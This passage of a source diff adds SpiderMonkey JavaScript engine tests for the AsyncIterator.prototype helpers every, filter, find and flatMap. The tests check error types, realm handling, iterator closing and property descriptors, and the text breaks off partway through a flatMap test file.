+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+async function *gen() {}
+
+gen().every().then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+});
+
+otherGlobal.AsyncIterator.prototype.every.call(gen()).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(
+ err instanceof otherGlobal.TypeError,
+ true,
+ 'TypeError comes from the realm of the method.',
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/fn-not-callable-throws.js b/js/src/tests/non262/AsyncIterator/prototype/every/fn-not-callable-throws.js
new file mode 100644
index 0000000000..025c46dfdf
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/fn-not-callable-throws.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function *gen() {
+ yield 1;
+}
+
+function check(fn) {
+ gen().every(fn).then(() => {
+ throw new Error('every should have thrown');
+ },
+ (err) => {
+ assertEq(err instanceof TypeError, true);
+ });
+}
+
+check();
+check(undefined);
+check(null);
+check(0);
+check(false);
+check('');
+check(Symbol(''));
+check({});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/fn-throws-close-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/every/fn-throws-close-iterator.js
new file mode 100644
index 0000000000..2a18d2ab45
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/fn-throws-close-iterator.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({ done: this.closed });
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.every(fn).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, true);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/interleaving-calls.js b/js/src/tests/non262/AsyncIterator/prototype/every/interleaving-calls.js
new file mode 100644
index 0000000000..8aacdb4316
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/interleaving-calls.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const log = [];
+async function* gen(n) {
+ log.push(`${n}`);
+ yield 1;
+ log.push(`${n}`);
+ yield 2;
+}
+
+Promise.all([gen(1).every(() => true), gen(2).every(() => true)]).then(
+ () => {
+ assertEq(
+ log.join(' '),
+ '1 2 1 2',
+ );
+ },
+ err => {
+ throw err;
+ }
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/length.js b/js/src/tests/non262/AsyncIterator/prototype/every/length.js
new file mode 100644
index 0000000000..58d7942018
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ The `length` property of AsyncIterator.prototype.every.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.every, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/name.js b/js/src/tests/non262/AsyncIterator/prototype/every/name.js
new file mode 100644
index 0000000000..086bfb13a6
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ `name` property of AsyncIterator.prototype.every.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.every, 'name');
+assertEq(propDesc.value, 'every');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/next-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/every/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..98cc850a07
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/next-throws-iterator-not-closed.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => {};
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.every(fn).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, false);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/proxy.js b/js/src/tests/non262/AsyncIterator/prototype/every/proxy.js
new file mode 100644
index 0000000000..628f143e27
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/proxy.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+// This test checks that %AsyncIterator.prototype%.every only gets the `next` method off of the
+// iterator once, and never accesses the @@asyncIterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends AsyncIterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return Promise.resolve({done: false, value});
+ }
+ return Promise.resolve({done: true});
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+iter.every(x => x % 2 == 0).then(value => {
+ assertEq(value, false)
+
+ assertEq(
+ log.join('\n'),
+ `get: every
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: return`
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/return-true-if-all-match.js b/js/src/tests/non262/AsyncIterator/prototype/every/return-true-if-all-match.js
new file mode 100644
index 0000000000..01d0f75d58
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/return-true-if-all-match.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 3;
+ yield 5;
+}
+const fn = x => x % 2 == 1;
+
+gen().every(fn).then(result => assertEq(result, true));
+
+async function* empty() {}
+empty().every(x => x).then(result => assertEq(result, true));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/short-circuit-on-false.js b/js/src/tests/non262/AsyncIterator/prototype/every/short-circuit-on-false.js
new file mode 100644
index 0000000000..7b2c74d513
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/short-circuit-on-false.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+const log = [];
+const fn = value => {
+ log.push(value.toString());
+ return value % 2 == 1;
+};
+
+gen().every(fn).then(result => {
+ assertEq(result, false);
+ assertEq(log.join(','), '1,2');
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/this-not-iterator-throws.js b/js/src/tests/non262/AsyncIterator/prototype/every/this-not-iterator-throws.js
new file mode 100644
index 0000000000..ed576c32ec
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/this-not-iterator-throws.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const fn = x => x;
+
+function check(x) {
+ AsyncIterator.prototype.every.call(x, fn).then(
+ () => {
+ throw new Error('check should have been rejected');
+ },
+ err => {
+ assertEq(err instanceof TypeError, true);
+ }
+ );
+}
+
+check();
+check(undefined);
+check({});
+check({next: 0});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/value-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/every/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..423a85ca7b
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/value-throws-iterator-not-closed.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestError extends Error {}
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({
+ done: false,
+ get value() {
+ throw new TestError();
+ }
+ });
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+iterator.every(x => x).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false, 'iterator remains unclosed');
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/filter/coerce-result-to-boolean.js b/js/src/tests/non262/AsyncIterator/prototype/filter/coerce-result-to-boolean.js
new file mode 100644
index 0000000000..23e3a317eb
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/filter/coerce-result-to-boolean.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen(iterable) {
+ yield* iterable;
+}
+
+// All truthy values are kept.
+const truthyValues = [true, 1, [], {}, 'test'];
+(async () => {
+ for await (const value of gen([...truthyValues]).filter(x => x)) {
+ assertEq(truthyValues.shift(), value);
+ }
+})();
+
+// All falsy values are filtered out.
+const falsyValues = [false, 0, '', null, undefined, NaN, -0, 0n, createIsHTMLDDA()];
+gen(falsyValues).filter(x => x).next().then(
+ ({done, value}) => {
+ assertEq(done, true);
+ assertEq(value, undefined);
+ }
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/filter/filter.js b/js/src/tests/non262/AsyncIterator/prototype/filter/filter.js
new file mode 100644
index 0000000000..060e9853f2
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/filter/filter.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+let iter = gen().filter(x => x % 2);
+
+for (const v of [1, 3]) {
+ console.log(iter);
+ iter.next().then(
+ ({done, value}) => {
+ assertEq(done, false);
+ assertEq(value, v);
+ }
+ );
+}
+
+iter.next().then(({done}) => assertEq(done, true));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/filter/length.js b/js/src/tests/non262/AsyncIterator/prototype/filter/length.js
new file mode 100644
index 0000000000..7ca14621ff
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/filter/length.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.filter length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.filter.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.filter, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/filter/name.js b/js/src/tests/non262/AsyncIterator/prototype/filter/name.js
new file mode 100644
index 0000000000..1a8e030e9a
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/filter/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.filter.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.filter.name, 'filter');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.filter, 'name');
+assertEq(propertyDescriptor.value, 'filter');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/async-writes.js b/js/src/tests/non262/AsyncIterator/prototype/find/async-writes.js
new file mode 100644
index 0000000000..6d1707e2fe
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/async-writes.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let x = {a: () => true};
+
+async function* gen() {
+ yield x.a();
+ yield x.a();
+}
+
+gen().find(() => {}).then(
+ () => assertEq(true, false, 'expected error'),
+ err => assertEq(err instanceof Error, true),
+);
+
+x.a = () => {
+ throw Error();
+};
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/check-fn-after-getting-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/find/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..579e4f589a
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/check-fn-after-getting-iterator.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({done: true});
+ }
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+iter.find(1).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+ assertEq(
+ log.join('\n'),
+ `get: find
+get: next`
+ );
+});
+
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/coerce-result-to-boolean.js b/js/src/tests/non262/AsyncIterator/prototype/find/coerce-result-to-boolean.js
new file mode 100644
index 0000000000..eb89eca840
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/coerce-result-to-boolean.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen(value) {
+ yield value;
+}
+const fn = x => x;
+function check(value, expected) {
+ gen(value).find(fn).then(result => assertEq(result, expected));
+}
+
+check(true, true);
+check(1, 1);
+check('test', 'test');
+
+check(false, undefined);
+check(0, undefined);
+check('', undefined);
+check(null, undefined);
+check(undefined, undefined);
+check(NaN, undefined);
+check(-0, undefined);
+check(0n, undefined);
+check(Promise.resolve(false), undefined);
+
+let array = [];
+check(array, array);
+
+let object = {};
+check(object, object);
+
+const htmlDDA = createIsHTMLDDA();
+check(htmlDDA, undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/descriptor.js b/js/src/tests/non262/AsyncIterator/prototype/find/descriptor.js
new file mode 100644
index 0000000000..7b93147d81
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ Descriptor property of AsyncIterator.prototype.find
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype, 'find');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/error-from-correct-realm.js b/js/src/tests/non262/AsyncIterator/prototype/find/error-from-correct-realm.js
new file mode 100644
index 0000000000..37c6b4b593
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/error-from-correct-realm.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+async function *gen() {}
+
+gen().find().then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+});
+
+otherGlobal.AsyncIterator.prototype.find.call(gen()).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(
+ err instanceof otherGlobal.TypeError,
+ true,
+ 'TypeError comes from the realm of the method.',
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/fn-not-callable-throws.js b/js/src/tests/non262/AsyncIterator/prototype/find/fn-not-callable-throws.js
new file mode 100644
index 0000000000..c858b812d3
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/fn-not-callable-throws.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function *gen() {
+ yield 1;
+}
+
+function check(fn) {
+ gen().every(fn).then(() => {
+ throw new Error('every should have thrown');
+ },
+ (err) => {
+ assertEq(err instanceof TypeError, true);
+ });
+}
+
+check();
+check(undefined);
+check(null);
+check(0);
+check(false);
+check('');
+check(Symbol(''));
+check({});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/fn-throws-close-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/find/fn-throws-close-iterator.js
new file mode 100644
index 0000000000..9544c57d4a
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/fn-throws-close-iterator.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({done: this.closed});
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.find(fn).then(() => {
+ throw new Error('promise should be rejected');
+}, err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, true);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/interleaving-calls.js b/js/src/tests/non262/AsyncIterator/prototype/find/interleaving-calls.js
new file mode 100644
index 0000000000..d973e8b030
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/interleaving-calls.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const log = [];
+async function* gen(n) {
+ log.push(`${n}`);
+ yield 1;
+ log.push(`${n}`);
+ yield 2;
+}
+
+Promise.all([gen(1).find(() => {}), gen(2).find(() => {})]).then(
+ () => {
+ assertEq(
+ log.join(' '),
+ '1 2 1 2',
+ );
+ },
+ err => {
+ throw err;
+ }
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/length.js b/js/src/tests/non262/AsyncIterator/prototype/find/length.js
new file mode 100644
index 0000000000..e207a52898
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ The `length` property of AsyncIterator.prototype.find.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.find, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/name.js b/js/src/tests/non262/AsyncIterator/prototype/find/name.js
new file mode 100644
index 0000000000..21e8fa90f8
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ `name` property of AsyncIterator.prototype.find.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.find, 'name');
+assertEq(propDesc.value, 'find');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/next-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/find/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..4c5cd3ddbd
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/next-throws-iterator-not-closed.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = x => x;
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.find(fn).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, false);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/proxy.js b/js/src/tests/non262/AsyncIterator/prototype/find/proxy.js
new file mode 100644
index 0000000000..4f8a210b45
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/proxy.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+// This test checks that %Iterator.prototype%.find only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends AsyncIterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return Promise.resolve({done: false, value});
+ }
+ return Promise.resolve({done: true});
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+iter.find(x => x % 2 == 1).then(value => {
+ assertEq(value, 1);
+
+ assertEq(
+ log.join('\n'),
+ `get: find
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: return`
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/return-undefined-if-none-match.js b/js/src/tests/non262/AsyncIterator/prototype/find/return-undefined-if-none-match.js
new file mode 100644
index 0000000000..b7dc847036
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/return-undefined-if-none-match.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 3;
+ yield 5;
+}
+const fn = x => x % 2 == 0;
+
+gen().find(fn).then(result => assertEq(result, undefined));
+
+async function* empty() {}
+empty().find(x => x).then(result => assertEq(result, undefined));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/short-circuit-on-match.js b/js/src/tests/non262/AsyncIterator/prototype/find/short-circuit-on-match.js
new file mode 100644
index 0000000000..4404c53ac1
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/short-circuit-on-match.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+const log = [];
+const fn = (value) => {
+ log.push(value.toString());
+ return value % 2 == 0;
+};
+
+gen().find(fn).then(result => {
+ assertEq(result, 2);
+ assertEq(log.join(','), '1,2');
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/this-not-iterator-throws.js b/js/src/tests/non262/AsyncIterator/prototype/find/this-not-iterator-throws.js
new file mode 100644
index 0000000000..97c8b142a2
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/this-not-iterator-throws.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const fn = x => x;
+
+function check(x) {
+ AsyncIterator.prototype.find.call(x, fn).then(
+ () => assertEq(true, false, 'expected error'),
+ err => {
+ assertEq(err instanceof TypeError, true);
+ }
+ );
+}
+
+check();
+check(undefined);
+check({});
+check({next: 0});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/value-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/find/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..c639eea5a4
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/value-throws-iterator-not-closed.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestError extends Error {}
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({
+ done: false,
+ get value() {
+ throw new TestError();
+ }
+ });
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+iterator.find(x => x).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false, 'iterator remains unclosed');
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-complete-throws.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-complete-throws.js
new file mode 100644
index 0000000000..bca8f7c316
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-complete-throws.js
@@ -0,0 +1,55 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.flatMap closes the iterator when innerComplete throws.
+info: >
+ Iterator Helpers proposal 2.1.6.7
+ 1. Repeat,
+ ...
+ k. Repeat, while innerAlive is true,
+ ...
+ v. Let innerComplete be IteratorComplete(innerNext).
+ vi. IfAbruptCloseAsyncIterator(innerComplete, iterated).
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 0};
+ }
+
+ closed = false;
+ async return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+class TestError extends Error {}
+class InnerIterator extends AsyncIterator {
+ async next() {
+ return {
+ get done() {
+ throw new TestError();
+ }
+ };
+ }
+}
+
+const iter = new TestIterator();
+const mapped = iter.flatMap(x => new InnerIterator());
+
+assertEq(iter.closed, false);
+mapped.next().then(
+ _ => assertEq(true, false, 'Expected reject.'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iter.closed, true);
+ }
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-next-throws.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-next-throws.js
new file mode 100644
index 0000000000..d92732e9fd
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-next-throws.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.flatMap closes the iterator when IteratorNext throws.
+info: >
+ Iterator Helpers proposal 2.1.6.7
+ 1. Repeat,
+ ...
+ k. Repeat, while innerAlive is true,
+ i. Let innerNextPromise be IteratorNext(innerIterator).
+ ii. IfAbruptCloseAsyncIterator(innerNextPromise, iterated).
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 0};
+ }
+
+ closed = false;
